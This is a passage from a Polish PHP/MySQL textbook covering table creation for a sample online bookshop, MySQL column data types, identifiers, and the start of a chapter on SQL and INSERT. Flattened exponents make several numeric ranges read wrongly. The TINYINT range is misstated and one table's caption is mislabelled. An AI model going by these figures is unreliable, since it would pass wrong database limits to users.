lumny. Ograniczenie to oznacza, że wartości zapisywane w podanej tabeli muszą posiadać odpo-
wiedniki we wskazanej kolumnie innej tabeli, tak zwanej tabeli klucza obcego. Przy okazji można
też określić różne operacje, jakie zostaną wykonane w przypadku usunięcia danych, do których
odwołują się wartości z kolumny. Na przykład umieszczenie na końcu zapisu ON DELETE CASCADE
będzie oznaczać, że „jeśli zostanie usunięty wiersz z tabeli klucza obcego, to także w tej tabeli
należy usunąć odpowiednie wiersze”. W powyższym przykładzie zastosowana została jednak
opcja domyślna: RESTRICT. Oznacza ona, że usunięcie wierszy z tabeli klucza obcego lub ich mody-
fikacja nie będą możliwe, jeśli wcześniej nie zostaną wprowadzone w tej tabeli odpowiednie
modyfikacje.

Warto zwrócić uwagę na to, że zapis FOREIGN KEY zostanie uwzględniony wyłącznie w przypadku,
gdy używany mechanizm składowania będzie obsługiwał klucze obce. Jednym z mechanizmów
spełniających ten warunek jest InnoDB. We wcześniejszych wersjach serwera MySQL domyślnym
mechanizmem składowania był MyISAM, który nie obsługiwał kluczy obcych. Więcej informacji
na temat różnych mechanizmów składowania można znaleźć w rozdziale 13.

Atrybut UNSIGNED wpisany za identyfikatorem typu całkowitoliczbowego oznacza, że kolumna może


zawierać tylko wartości nieujemne.
Rozdział 9.  Tworzenie internetowej bazy danych 241

Typy kolumn
Rozważmy przykład pierwszej utworzonej tabeli:
CREATE TABLE Klienci
( KlientID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Nazwisko char(50) NOT NULL,
Adres char(100) NOT NULL,
Miejscowosc char(30) NOT NULL
);

Tworząc nową tabelę, należy każdej jej kolumnie przypisywać odpowiedni typ danych.

Według schematu tabela Klienci składa się z czterech kolumn. Pierwsza z nich, KlientID, jest
kluczem podstawowym o wartościach typu całkowitoliczbowego (typ INT). Co więcej, wszystkie
pola ID (KlientID, ZamowienieID) mogą mieć tylko wartości nieujemne, gdyż nie ma w planach
używania identyfikatorów klientów czy zamówień o wartościach ujemnych. Wykorzystano również
cechy atrybutu AUTO_INCREMENT, dzięki któremu MySQL sam dba o spełnienie powyższych wymo-
gów — mamy więc jeden kłopot z głowy.

Pozostałe kolumny będą przechowywać dane mające postać łańcuchów znaków — nadano im więc
typ CHAR o określonej dla każdej kolumny długości łańcucha, zawartej w nawiasach okrągłych.
Na przykład w polu Nazwisko można zapisywać łańcuchy zawierające nie więcej niż 50 znaków.

Nawet jeśli nazwisko klienta liczy mniej niż 50 liter wartość pola Nazwisko, zawsze będzie zaj-
mować tyle pamięci, ile trzeba do zapisania 50 znaków. MySQL automatycznie doda do nazwiska
tyle znaków spacji, ile brakuje do wykorzystania całej przydzielonej polu pamięci. Alternatywą
dla typu CHAR jest VARCHAR — wartości pól tego typu zajmują zawsze o jeden bajt więcej niż
trzeba do zapamiętania podanego łańcucha. Stosowanie pól typu VARCHAR generalnie oszczędza
więc pamięć, może jednak negatywnie wpływać na wydajność całego systemu.

Większość kolumn została zadeklarowana jako NOT NULL. Zastosowanie takiego niewielkiego roz-
wiązania optymalizacyjnego wszędzie tam, gdzie to możliwe, może nieznacznie polepszyć wydaj-
ność pracy systemu. Zagadnienia dotyczące optymalizacji pracy serwera MySQL zostaną poru-
szone w rozdziale 12.

W obrębie niektórych poleceń CREATE TABLE zawarte są elementy, które nie zostały jeszcze omówio-
ne. Rozważmy kolejny przykład:
CREATE TABLE Zamowienia
( Zamowienieid INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Klientid INT UNSIGNED NOT NULL,
Wartosc FLOAT(6,2),
Data DATE NOT NULL,

FOREIGN KEY (KlientID) REFERENCES Klienci(KlientID)


);

Kolumna Wartosc jest zadeklarowana jako liczba zmiennoprzecinkowa typu FLOAT. Dla większości
typów liczbowych zmiennoprzecinkowych istnieje możliwość określenia maksymalnej liczby
cyfr, jakie będą wyświetlane, oraz ilości miejsc znaczących po przecinku. W przykładzie księgarni
internetowej wartość zamówień jest określana w złotówkach, zadeklarowano więc, iż ma ona nie
więcej niż sześć cyfr plus dwie cyfry znaczące po przecinku.

Dane przechowywane w kolumnie Data mają typ DATE.


242 Część II  Stosowanie MySQL

W rozważanej tabeli wszystkie kolumny, oprócz kolumny Wartosc, są zadeklarowane jako NOT NULL.
Dlaczego? Otóż wpisując nowe zamówienie należy najpierw zapisać je w tabeli Zamowienia,
następnie dodać odpowiednie rekordy do tabeli Pozycje_zamowione, po czym obliczyć wartość
całego zamówienia. W momencie wpisywania nowego zamówienia jego wartość nie zawsze jest
znana, dlatego wartości pola Wartosc mogą być nieokreślone.

W podobny sposób jak Zamowienia jest tworzona tabela Ksiazki:


CREATE TABLE Ksiazki
( ISBN CHAR(13) NOT NULL PRIMARY KEY,
Autor CHAR(50),
Tytul CHAR(100),
Cena FLOAT(4,2)
);

W tym przypadku nie ma potrzeby tworzenia klucza podstawowego, ponieważ każda publikacja
ma własny, unikalny numer ISBN. Nie licząc kolumny ISBN, wszystkie pozostałe kolumny tej
tabeli mogą posiadać wartości NULL. Można bowiem wyobrazić sobie sytuację, w której znany jest
tylko numer ISBN książki, zanim jeszcze zostanie ujawniony jej tytuł, autor i cena.

Na przykładzie tabeli Pozycje_zamowione zademonstrowano sposób deklarowania kluczy podsta-


wowych składających się z więcej niż jednej kolumny:
CREATE TABLE Pozycje_zamowione
( ZamowienieID INT UNSIGNED NOT NULL,
ISBN CHAR(13) NOT NULL,
Ilosc TINYINT UNSIGNED,

PRIMARY KEY (ZamowienieID, ISBN),


FOREIGN KEY (ZamowienieID) REFERENCES Zamowienia(ZamowienieID),
FOREIGN KEY (ISBN) REFERENCES Ksiazki(ISBN)
);

Pole Ilosc, w którym zapamiętywana jest liczba zamówionych egzemplarzy jednej książki, jest
typu TINYINT UNSIGNED, a więc może przyjmować wartości liczb całkowitych z zakresu od 0 do 255.

Jak już wspomnieliśmy, klucze podstawowe składające się z więcej niż jednej kolumny należy
deklarować za pomocą klauzuli PRIMARY KEY. Przykład jej użycia zaprezentowano powyżej.

Ostatnie polecenie z pliku ksiazkorama.sql powoduje utworzenie tabeli Recenzje_ksiazek:


CREATE TABLE Recenzje_ksiazek
( ISBN CHAR(13) NOT NULL PRIMARY KEY,
Recenzja TEXT,

FOREIGN KEY (ISBN) REFERENCES Ksiazki(ISBN)


);

Użyto w nim nowego typu danych, który nie został jeszcze omówiony — to typ text. Jest on
stosowany w przypadku dłuższych tekstów, np. artykułów prasowych. Istnieje kilka jego wariantów,
które zostaną szczegółowo opisane w dalszej części tego rozdziału.

Dla jeszcze lepszego zrozumienia procesu tworzenia tabel podane zostaną zasady nadawania nazw
kolumnom oraz ogólne informacje na temat identyfikatorów. Najpierw jednak powrócimy na chwilę
do utworzonej bazy danych.
Rozdział 9.  Tworzenie internetowej bazy danych 243

Rzut oka na bazę danych — polecenia SHOW i DESCRIBE


Po zalogowaniu się do serwera MySQL i wybraniu bazy Ksiazki można sprawdzić, jakie tabele
wchodzą w jej skład, wpisując następujące polecenie:
mysql> show tables;

Serwer wyświetli wówczas listę wszystkich tabel wybranej bazy danych:


+-------------------+
| Tables_in_ksiazki |
+-------------------+
| Klienci |
| Ksiazki |
| Pozycje_zamowione |
| Recenzje_ksiazek |
| Zamowienia |
+-------------------+
5 rows in set (0.01 sec)

Polecenia SHOW można również użyć do wyświetlenia wszystkich baz danych udostępnianych przez
serwer:
mysql> show databases;

Użytkownicy, którzy nie posiadają przywileju SHOW DATABASES, zobaczą jedynie listę baz danych,
do których udzielono im dostępu.

Szczegółowe informacje na temat konkretnej tabeli są dostępne po użyciu polecenia DESCRIBE:


mysql> describe ksiazki;

MySQL wyświetli wszystkie informacje, które należało podać przy tworzeniu tabeli:
+-------+------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------+------+-----+---------+-------+
| ISBN | char(13) | NO | PRI | NULL | |
| Autor | char(50) | YES | | NULL | |
| Tytul | char(100) | YES | | NULL | |
| Cena | float(4,2) | YES | | NULL | |
+-------+------------+------+-----+---------+-------+
4 rows in set (0.01 sec)

Oba polecenia są szczególnie przydatne do przypomnienia sobie np. typu danych przechowywanych
w konkretnej kolumnie czy przeanalizowania struktury bazy utworzonej przez innego projektanta.

Tworzenie indeksów
Już wcześniej krótko wspominaliśmy o indeksach, ponieważ definiowanie kluczy głównych jest
równoznaczne z utworzeniem indeksów na tych kolumnach.
Jednym z częstych problemów, który sygnalizują niedoświadczeni użytkownicy serwera MySQL,
jest to, że narzędzie, które jest uznawane za niezwykle szybkie, na ich bazach danych działa
wolno. Przyczyną tego problemu jest po prostu to, że na bazie danych nie utworzono indeksów.
(Wszak możliwe jest utworzenie tabel, które nie posiadają kluczy głównych ani indeksów).

Indeksy zostaną utworzone automatycznie na kolumnach, które wskazano jako klucze. Jeśli okaże
się, że wiele zapytań wykonywanych jest na kolumnie, która nie jest kluczem, można pokusić
244 Część II  Stosowanie MySQL

się o utworzenie na niej indeksu w celu poprawienia wydajności. Można tego dokonać instrukcją
CREATE INDEX. Jej ogólna postać jest następująca:
CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX nazwa_indeksu
ON nazwa_tabeli (nazwa_kolumny_indeksowanej [(dlugosc)] [ASC|DESC, …])

Indeksy FULLTEXT, czyli pełnotekstowe, służą do indeksowania pól tekstowych; więcej na ich temat
napiszemy w rozdziale 13. Z kolei indeksy typu SPATIAL służą do indeksowania danych przestrzen-
nych, lecz ich opis wykracza poza ramy tematyczne tej książki.
Indeksy typu UNIQUE zapewniają, że wszystkie wartości, czy też wszystkie kombinacje wartości
w przypadku indeksów wielokolumnowych, będą unikalne. (Tak się właśnie dzieje w przypadku
indeksów głównych).
Opcjonalne pole dlugosc służy do wskazania, aby tylko pierwszych dlugosc znaków pola podle-
gała indeksowaniu. Można również wskazać, by indeks był ułożony w porządku rosnącym (ASC)
lub malejącym (DESC). Porządkiem domyślnym jest porządek rosnący.

Identyfikatory MySQL
MySQL rozróżnia wiele rodzajów identyfikatorów: bazy danych, tabele, kolumny i indeksy
(wszystkie są już Czytelnikowi znane), aliasy (zostaną one szerzej omówione w następnym rozdzia-
le), widoki oraz procedury składowane (które zostaną opisane dokładniej w rozdziale 13.) i jeszcze
kilka innych.
Bazy danych w MySQL stają się katalogami w strukturze plików systemu operacyjnego, a tabele
są reprezentowane przez jeden lub kilka plików. W starszych wersjach MySQL miało to bezpośredni
wpływ na zasady nazewnictwa baz i tabel, ale obecnie wszystkie problematyczne znaki są kodowane.
Niemniej jednak ten sposób odwzorowywania baz danych i tabel na elementy systemu plików ma
wpływ na rozróżnianie wielkości liter. Jeżeli system operacyjny rozróżnia wielkie i małe litery,
wówczas czyni to również serwer baz danych (tak jest w przypadku większości wersji systemu
Unix), w przeciwnym razie wielkość liter nie będzie miała znaczenia (np. w przypadku systemu
Windows lub Mac OS). W nazwach kolumn i aliasów wielkość liter nie odgrywa roli, jednak
w obrębie jednego polecenia nazwy te muszą być zapisywane w taki sam sposób.
Co więcej, aby dodatkowo skomplikować sprawę, wpływ na uwzględnianie wielkości znaków
w identyfikatorach ma także opcja konfiguracyjna lower_case_table_names.
Ogólnie rzecz biorąc, w celu zapewnienia jak najlepszej przenaszalności wszystkie identyfikatory
warto zapisywać małymi literami.
Warto wspomnieć, że lokalizacja katalogów i plików z danymi jest ustawiana w plikach konfi-
guracyjnych serwera MySQL. Można ją odnaleźć, wpisując w wierszu poleceń systemu operacyj-
nego następującą komendę:
> mysqladmin –h nazwa_komputera –u root –p variables

Następnie szukamy zmiennej datadir.


Zasadniczo identyfikatory mogą zawierać dowolne znaki ASCII oraz wiele znaków Unicode. Zasto-
sowanie niektórych znaków może jednak wymagać „zacytowania” całego identyfikatora, co w tym
kontekście oznacza umieszczenie go pomiędzy znakami odwrotnego apostrofu. Znak odwrotnego
apostrofu (`) można na pierwszy rzut oka pomylić ze znakiem zwyczajnego apostrofu (‘), jednak
zwykle można go znaleźć na klawiaturze poniżej znaku tyldy (~).
Rozdział 9.  Tworzenie internetowej bazy danych 245

Poniżej przedstawione zostały reguły dotyczące identyfikatorów:


 Identyfikatory, które nie wymagają cytowania, mogą się składać z liter ASCII (a – z oraz A – Z),
cyfr (0 – 9), znaku dolara oraz znaku podkreślenia. Mogą także zawierać znaki Unicode
mieszczące się w zakresie od U+0080 do U+FFFF.
 Identyfikatory umieszczone pomiędzy znakami odwrotnego apostrofu mogą zawierać
dowolne znaki ASCII (U+0001 do U+007F) oraz znaki Unicode z zakresu U+0080 do
U+FFFF.
 Nigdy nie można używać w identyfikatorach znaku NUL (U+0000) ani znaków
uzupełniających z zakresu powyżej U+10000.
 Identyfikatory nie mogą składać się wyłącznie z liczb.
 Nazwy baz danych, tabel i kolumn nie mogą kończyć się spacją.

Podsumowanie rozważań na temat identyfikatorów znajduje się w tabeli 9.4.

Tabela 9.4. Identyfikatory MySQL

Typ identyfikatora Długość maksymalna Rozróżnianie wielkości liter


Baza danych 64 Zależnie od systemu operacyjnego
Tabela 64 Zależnie od systemu operacyjnego bądź ustawień
konfiguracyjnych
Kolumna 64 Nie
Indeks 64 Nie
Alias tabeli 256 Zależnie od systemu operacyjnego
Alias kolumny 256 Nie
Ograniczenia 64 Nie
Wyzwalacz 64 Zależnie od systemu operacyjnego
Widok 64 Zależnie od systemu operacyjnego
Procedura składowana 64 Nie
Zdarzenie 64 Nie
Przestrzeń tabel 64 Zależnie od mechanizmu składowania
Serwer 64 Nie
Grupa plików dziennika 64 Tak
Etykieta instrukcji złożonej 16 Nie

Podane zasady ulegają jednak częstym zmianom. Identyfikatory mogą nawet zawierać słowa za-
rezerwowane i wszelkiego rodzaju znaki specjalne. Jedynym wymogiem jest wówczas koniecz-
ność zamknięcia ich w odwrotnych apostrofach. Można na przykład napisać:
create database `create database`;

Oczywiście z tak szerokich możliwości należy korzystać z umiarem. To, że baza może nosić nazwę
`create database`, wcale nie oznacza, że powinna zostać tak nazwana. Stosuje się tu standardową
zasadę nazewnictwa, według której identyfikatory powinny mieć sensowne brzmienie.
246 Część II  Stosowanie MySQL

Wybór typów danych w kolumnach


W MySQL wyróżnia się cztery podstawowe typy danych, które mogą być przechowywane w ko-
lumnach: liczbowy, daty i czasu, łańcuchowy oraz przestrzenny. (W tej książce opisane zostaną
pierwsze trzy z nich; dane przestrzenne stanowią przypadek szczególny). Każda z tych trzech
kategorii dzieli się na szereg podtypów. W tym podrozdziale scharakteryzujemy krótko wszystkie
dostępne typy danych, natomiast ich wady i zalety omówimy w rozdziale 12.
Wielkość pamięci potrzebnej do przechowania jednej danej ściśle zależy od jej typu. Deklarując
typ kolumny, należy kierować się następującą zasadą: zawsze wybiera się taki typ danych, który
będzie zajmował najmniej pamięci i jednocześnie pozwoli na zapisanie wszystkich potrzebnych
informacji.
W przypadku niektórych typów danych możliwe jest określenie maksymalnej szerokości wyświetla-
nia. W poniższych tabelach wielkość tę zaznaczono literą M. Jeżeli jest ona opcjonalna, litera M znaj-
duje się w nawiasach kwadratowych. Największa dopuszczalna wartość parametru M wynosi 255.
Wszystkie parametry opcjonalne są przedstawione w nawiasach kwadratowych.

Typy liczbowe
Typy liczbowe dzielą się na dwie kategorie: całkowitoliczbowe, o ustalonej precyzji, zmiennoprze-
cinkowe oraz pola bitowe. W przypadku liczb zmiennoprzecinkowych istnieje możliwość zadekla-
rowania liczby cyfr znaczących po przecinku — w tabelach wielkość ta jest oznaczona symbolem D.
Maksymalna wartość parametru D jest wyznaczona przez mniejszą spośród dwóch liczb: 30 i M – 2
(tj. maksymalna szerokość wyświetlania minus 2 — jeden znak przecinka i jeden znak dla całko-
witej części danej liczby).
W przypadku typów całkowitoliczbowych można je zawęzić do typu UNSIGNED, jak pokazano na
listingu 9.1.
Dla wszystkich typów liczbowych można ustawić atrybut ZEROFILL. Powoduje on, że przy wyświe-
tlaniu zawartości kolumn posiadających ten atrybut zapisane w nich liczby zostaną poprzedzone
zerami. Jeżeli kolumna zostanie zdefiniowana jako ZEROFILL, automatycznie będzie ona również
mieć typ UNSIGNED.

Typy całkowitoliczbowe zostały przedstawione w tabeli 9.5. W drugiej kolumnie tabeli zawarto
dopuszczalny zakres danych w przypadku braku atrybutu UNSIGNED (pierwszy wiersz) i z ustawio-
nym atrybutem UNSIGNED (drugi wiersz).

Tabela 9.5. Typy całkowitoliczbowe

Wykorzystanie
Typ Zakres Opis
pamięci (w bajtach)
TINYINT[(M)] –127 – 128 lub 0 – 255 1 Bardzo małe liczby całkowite
BIT Synonim TINYINT
BOOL Synonim TINYINT
SMALLINT[(M)] –32 768 – 32 767 lub 0 – 65535 2 Małe liczby całkowite
MEDIUMINT[(M)] –8 388 608 – 8 388 607 3 Średnie liczby całkowite
lub 0 – 16 777 215
Rozdział 9.  Tworzenie internetowej bazy danych 247

Tabela 9.5. Typy całkowitoliczbowe (ciąg dalszy)

Wykorzystanie
Typ Zakres Opis
pamięci (w bajtach)
INT[(M)] –231 – 231–1 lub 0 – 232–1 4 Zwykłe liczby całkowite
INTEGER[(M)] Synonim typu INT
63 63 64
BIGINT[(M)] –2 – 2 –1 lub 0 – 2 –1 8 Duże liczby całkowite

Tabela 9.6 przedstawia typy zmiennoprzecinkowe.

Tabela 9.6. Typy zmiennoprzecinkowe

Wykorzystanie
Typ Zakres Opis
pamięci (w bajtach)
FLOAT(precyzja) Zależnie od precyzji różny Używany
do deklarowania liczb
zmiennoprzecinkowych
o pojedynczej
lub podwójnej precyzji
FLOAT[(M, D)] ±1,175494351E–38 4 Liczby
±3,402823466E+38 zmiennoprzecinkowe
o pojedynczej precyzji.
Typ ten jest
równoznaczny z typem
FLOAT(4), pozwala przy
tym na określenie
szerokości wyświetlania
i liczby cyfr znaczących
po przecinku
DOUBLE[(M, D)] ±1,7976931348623157E–308 8 Liczby
±2,2250738585072014E+308 zmiennoprzecinkowe
o podwójnej precyzji.
Typ ten jest równoznaczny
z typem FLOAT(8), pozwala
przy tym na określenie
szerokości wyświetlania
i liczby cyfr znaczących
po przecinku
DOUBLE PRECISION[(M, D)] Jak wyżej Synonim typu
DOUBLE[(M, D)]

REAL[(M,D)] Jak wyżej Synonim typu


DOUBLE[(M, D)]

DECIMAL[(M[, D])] Różny M+2 Liczba


zmiennoprzecinkowa
przechowywana jako
zmienna typu CHAR. Zakres
zależy od wartości M —
szerokości wyświetlania
NUMERIC[(M, D)] Jak wyżej Synonim typu DECIMAL
DEC[(M, D)] Jak wyżej Synonim typu DECIMAL
FIXED[(M, D)] Jak wyżej Synonim typu DECIMAL
248 Część II  Stosowanie MySQL

Tabela 9.7 przedstawia typy o ustalonej precyzji.

Tabela 9.7. Typy o ustalonej precyzji

Wykorzystanie
Typ Zakres Opis
pamięci (w bajtach)
DECIMAL[(M[, D])] Różny M+2 Liczba
zmiennoprzecinkowa
przechowywana jako
zmienna typu CHAR. Zakres
zależy od wartości M —
szerokości wyświetlania
NUMERIC[(M, D)] Jak wyżej Synonim typu DECIMAL
DEC[(M, D)] Jak wyżej Synonim typu DECIMAL
FIXED[(M, D)] Jak wyżej Synonim typu DECIMAL

Istnieje jeszcze jeden typ liczbowy: BIT(M). Pola tego typu pozwalają na przechowywanie do M bitów,
gdzie M jest liczbą z zakresu od 1 do 64.

Typy daty i czasu


MySQL obsługuje szereg typów daty i czasu — są one zaprezentowane w tabeli 9.8. Każdy z nich
pozwala na wpisanie danych w formie liczbowej lub łańcucha znaków. Charakterystyczną cechą
typu TIMESTAMP jest to, że jeżeli pole tego typu pozostanie niewypełnione, wówczas automatycznie
zostaną w nim zapisane czas i data aktualnie wykonywanej operacji. Właściwość ta jest szczególnie
przydatna do analizy transakcji.

Tabela 9.8. Typy daty i czasu

Typ Zakres Opis


DATE 1000-01-01do 9999-12-31 Data wyświetlana w formacie RRRR-MM-DD
TIME –838:59:59 do 838:59:59 Czas wyświetlany w formacie GG:MM:SS.
Zakres typu jest tak szeroki, że zapewne
nigdy nie będzie w pełni wykorzystywany
DATETIME 1000-01-01 00:00:00 do 9999-12-31 23:59:59 Data i czas wyświetlane w formacie
RRRR-MM-DD GG:MM:SS
TIMESTAMP[(M)] 1970-01-01 00:00:00 do roku 2037 Typ szczególnie przydatny do śledzenia
transakcji. Format wyświetlania zależy
od wartości parametru M, a górny zakres typu
od systemu operacyjnego Unix
YEAR[(2 | 4)] 70 – 69 (czyli 1970 – 2069) lub 1901 – 2155 Rok wyświetlany w formie dwu-
lub czterocyfrowej. Jak widać, każdy
z nich ma odmienny zakres

Tabela 9.9 prezentuje możliwe dostępne formaty wyświetlania wartości typu TIMESTAMP.
Rozdział 9.  Tworzenie internetowej bazy danych 249

Tabela 9.9. Formaty wyświetlania wartości typu TIMESTAMP

Podany typ Format wyświetlania


TIMESTAMP RRRRMMDDGGMMSS
TIMESTAMP(14) RRRRMMDDGGMMSS
TIMESTAMP(12) RRMMDDGGMMSS
TIMESTAMP(10) RRMMDDGGMM
TIMESTAMP(8) RRRRMMDD
TIMESTAMP(6) RRMMDD
TIMESTAMP(4) RRMM
TIMESTAMP(2) RR

Typy łańcuchowe
Typy łańcuchowe dzielą się na cztery grupy. Pierwsza z nich to klasyczne (zwykłe) łańcuchy zna-
ków, czyli krótkie fragmenty tekstu. Do tej grupy zaliczamy typy CHAR (łańcuchy o stałej długości)
oraz VARCHAR (łańcuchy o zmiennej długości). Dla każdego z nich można określić długość łańcucha.
Łańcuchy zapisywane w kolumnach typu CHAR zostaną uzupełnione spacjami w celu pełnego
wykorzystania dopuszczalnego limitu ich długości. Natomiast w kolumnach typu VARCHAR łań-
cuchy są zapisywane w ich pierwotnej formie, dzięki czemu zajmują one tylko tyle pamięci, ile
potrzeba (tak więc w przypadku wartości CHAR MySQL usunie końcowe znaki spacji przy ich
pobieraniu z bazy, natomiast ewentualne znaki spacji znajdujące się na końcu łańcucha VARCHAR
zostaną wyeliminowane w momencie zapisania go do bazy). Wybór któregoś z tych typów spro-
wadza się więc do rozstrzygnięcia dylematu między zwiększeniem szybkości działania kosztem
używanej pamięci a ograniczeniem zużycia pamięci i spadkiem wydajności systemu. Zagadnienie
to zostanie wyczerpująco omówione w rozdziale 12.

Do drugiej grupy należą typy BINARY oraz VARBINARY. Są to raczej łańcuchy bajtów, a nie znaków.

Do trzeciej grupy należą typy TEXT i BLOB. Wartości obu wymagają zróżnicowanych ilości pamięci.
Typy te są przeznaczone do przechowywania, odpowiednio, dłuższych tekstów oraz danych bi-
narnych. Wartości typu BLOB to tzw. duże obiekty binarne (ang. binary large objects), stąd też wywo-
dzi się jego nazwa. Obiekty te mogą przechowywać każdy rodzaj danych, np. obrazy, dźwięki itp.

Ponieważ oba typy pozwalają na zapisywanie dużych ilości danych, sposób ich wykorzystania jest
nieco bardziej skomplikowany. Zagadnienie to zostanie szerzej przedstawione w rozdziale 12.

Czwarta grupa składa się z dwóch typów specjalnych SET i ENUM. Typ SET jest używany w celu
zawężenia wartości danych, które mogą być zapisane w danej kolumnie, do z góry określonego zbio-
ru wartości, przy czym dane zapisane w kolumnie mogą mieć więcej niż jedną wartość z tego zbioru.
Podany zbiór wartości może zawierać co najwyżej 64 elementy.

ENUM to inaczej typ wyliczeniowy. Jest on podobny do typu SET, z jedną różnicą: kolumny typu
ENUM mogą zawierać tylko jedną spośród określonego zbioru wartości lub wartość NULL, a zbiór
wartości dopuszczalnych może zawierać do 65 535 elementów.

Tabele 9.10, 9.11 i 9.12 zawierają podsumowanie właściwości typów łańcuchowych. Tabela 9.10
przedstawia zwykłe typy łańcuchowe.
250 Część II  Stosowanie MySQL

Tabela 9.10. Zwykłe typy łańcuchowe

Typ Zakres Opis


CHAR(M) 1 – 255 znaków Łańcuch znaków o stałej długości M, gdzie M może przyjmować
wartości od 1 do 255
CHAR 1 Synonim typu CHAR(1)
VARCHAR(M) 1 – 255 znaków Łańcuch znaków o różnej długości, reszta jak wyżej

Tabela 9.11 prezentuje typy BINARY i VARBINARY.

Tabela 9.11. Binarne typy łańcuchowe

Typ Zakres Opis


BINARY(M) 0 – 255 bajtów Łańcuch bajtów o stałej długości M, gdzie M może przyjmować
wartości od 0 do 255
VARBNARY(M) 1 – 65 535 bajtów Łańcuch bajtów o różnej długości, reszta jak wyżej

Tabela 9.12 prezentuje typy TEXT i BLOB. Maksymalna długość pola typu TEXT w znakach odpowia-
da maksymalnej długości (liczonej w bajtach) plików, które można zapisać w tym polu.

Tabela 9.12. Typy BINARY oraz VARBINARY

Typ Maksymalna długość (w znakach) Opis


8
TINYBLOB 2 – 1 (czyli 255) Mały obiekt BLOB
8
TINYTEXT 2 – 1 (czyli 255) Krótkie pole tekstowe
16
BLOB 2 – 1 (czyli 65 535) Zwykły obiekt BLOB
16
TEXT 2 – 1 (czyli 65 535) Pole tekstowe o zwykłej długości
MEDIUMBLOB 224 – 1 (czyli 16 777 215) Średni obiekt BLOB
MEDIUMTEXT 224 – 1 (czyli 16 777 215) Pole tekstowe o średniej długości
32
LONGBLOB 2 – 1 (czyli 4 294 967 295) Duży obiekt BLOB
32
LONGTEXT 2 – 1 (czyli 4 294 967 295) Długie pole tekstowe

Tabela 9.13 prezentuje typy SET i ENUM.

Tabela 9.13. Typy ENUM i SET

Maksymalna ilość
Typ Opis
wartości w zbiorze
ENUM('wartość1','wartość2',…) 65 535 W kolumnie tego typu może znajdować się tylko jedna
wartość ze zbioru wartości dopuszczalnych lub NULL
SET('wartość1','wartość2',…) 64 W kolumnie tego typu może znajdować się podzbiór
zbioru wartości dopuszczalnych lub NULL
Rozdział 9.  Tworzenie internetowej bazy danych 251

Propozycje dalszych lektur


Więcej informacji na temat tworzenia bazy danych MySQL znajduje się w podręczniku elektro-
nicznym, dostępnym pod adresem http://www.mysql.com.

W następnym rozdziale
Ponieważ znamy już metody rejestrowania użytkowników, zakładania baz danych i tworzenia
tabel, możemy przejść do sposobów korzystania z bazy danych. W następnym rozdziale zostaną
przedstawione metody zapisywania danych do tabel, ich modyfikacji i usuwania oraz wysyłania
zapytań do bazy.
252 Część II  Stosowanie MySQL
Rozdział 10.
Praca z bazą danych MySQL
W tym rozdziale zaprezentujemy strukturalny język zapytań SQL oraz sposoby wykorzystania go
do formułowania zapytań do bazy danych. Na przykładzie internetowej księgarni „Książkorama”
zostaną pokazane sposoby zapisywania danych w bazie, ich usuwania i modyfikacji oraz wysyłania
zapytań do bazy.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 czym jest SQL,
 zapisywanie danych do bazy,
 wyszukiwanie danych w bazie,
 łączenie tabel,
 używanie podzapytań,
 zmienianie rekordów zapisanych w bazie,
 zmienianie struktury istniejących tabel,
 usuwanie rekordów z bazy,
 usuwanie tabel.

W pierwszej kolejności przedstawimy język SQL oraz przyczyny, dla których należy się z nim
zaznajomić.

Przed przystąpieniem do wykonania poleceń SQL zawartych w tym rozdziale należy założyć
bazę danych dla przykładowej księgarni „Książkorama”. Dokładne instrukcje na ten temat za-
warte są w rozdziale 9.

Czym jest SQL?


SQL to strukturalny język zapytań (ang. Structured Query Language). Jest to najbardziej rozpo-
wszechniony standaryzowany język dostępu do systemów zarządzania relacyjnymi bazami danych
(RDBMS). SQL służy do zapisywania oraz pozyskiwania danych do i z bazy. Język ten jest rozpo-
znawany przez niemal wszystkie systemy baz danych, m.in. MySQL, Oracle, PostgreSQL, Sybase,
Microsoft SQL Server.

Podstawowym standardem języka SQL jest ANSI, obsługiwany przez MySQL. Większość syste-
mów baz danych zawiera również własne rozszerzenia tego standardu. Istnieją nieznaczne różnice
między standardem SQL a SQL bazy MySQL. Niektóre z tych różnic mają zniknąć w kolejnych
wersjach MySQL, niektóre z nich natomiast wynikają z celowego działania. Ważniejsze z nich
254 Część II  Stosowanie MySQL

będziemy wskazywać w dalszych częściach książki. Pełną listę różnic między SQL w poszczegól-
nych wersjach bazy MySQL a standardem ANSI SQL można znaleźć w podręczniku on-line MySQL.
Stronę tę można znaleźć pod poniższym adresem URL, a także w wielu innych lokalizacjach:
http://dev.mysql.com/doc/refman/5.7/en/compatibility.html

Część Czytelników zetknęła się prawdopodobnie z takimi określeniami, jak język definiowania
danych (ang. Data Definition Language — DDL), służący do definiowania baz danych, oraz język
manipulowania danymi (ang. Data Manipulation Language — DML), przeznaczony do zadawania
zapytań do bazy. SQL odgrywa rolę obu języków. W rozdziale 9. zdefiniowaliśmy dane właśnie
za pomocą SQL (a właściwie jego części odpowiadającej DDL), tak więc był on już wcześniej
używany. Język DDL jest przeznaczony do tworzenia nowych baz danych.

Polecenia języka SQL odpowiadające poleceniom językowi DML będą znacznie częściej wykorzy-
stywane, gdyż realizują one funkcje zapisywania i wyszukiwania danych z baz danych.

Zapisywanie danych do bazy


Przed przystąpieniem do pracy z bazą należy najpierw zapisać w niej jakieś dane. Najczęściej doko-
nuje się tego za pomocą polecenia INSERT języka SQL.

Jak wiadomo, systemy zarządzania relacyjnymi bazami danych zawierają tabele, w których z kolei
znajdują się wiersze danych zapisanych w odpowiednich kolumnach. Każdy wiersz tabeli opisuje
zazwyczaj jakiś obiekt świata rzeczywistego lub związek pomiędzy takimi obiektami, natomiast
w kolumnach przechowywane są informacje na temat tych obiektów. Polecenie INSERT umożliwia
zapisanie do bazy wiersza danych.

Najczęściej stosowana składnia polecenia INSERT ma następującą postać:


INSERT [INTO] nazwa_tabeli [(kolumna1, kolumna2, kolumna3,…)] VALUES (wartosc1, wartosc2, wartosc3,…);

Na przykład w celu wstawienia nowego rekordu do tabeli Klienci bazy danych księgarni „Książko-
rama” należy wpisać:
INSERT INTO Klienci VALUES (NULL, 'Julia Kowalska', 'Wierzbowa 25', 'Warszawa');

Jak widać, w miejsce nazwa_tabeli wprowadzono nazwę tabeli, do której ma zostać wpisany nowy
rekord, natomiast wartosc1, wartosc2 itd. zastąpiono odpowiednimi wartościami. W powyższym
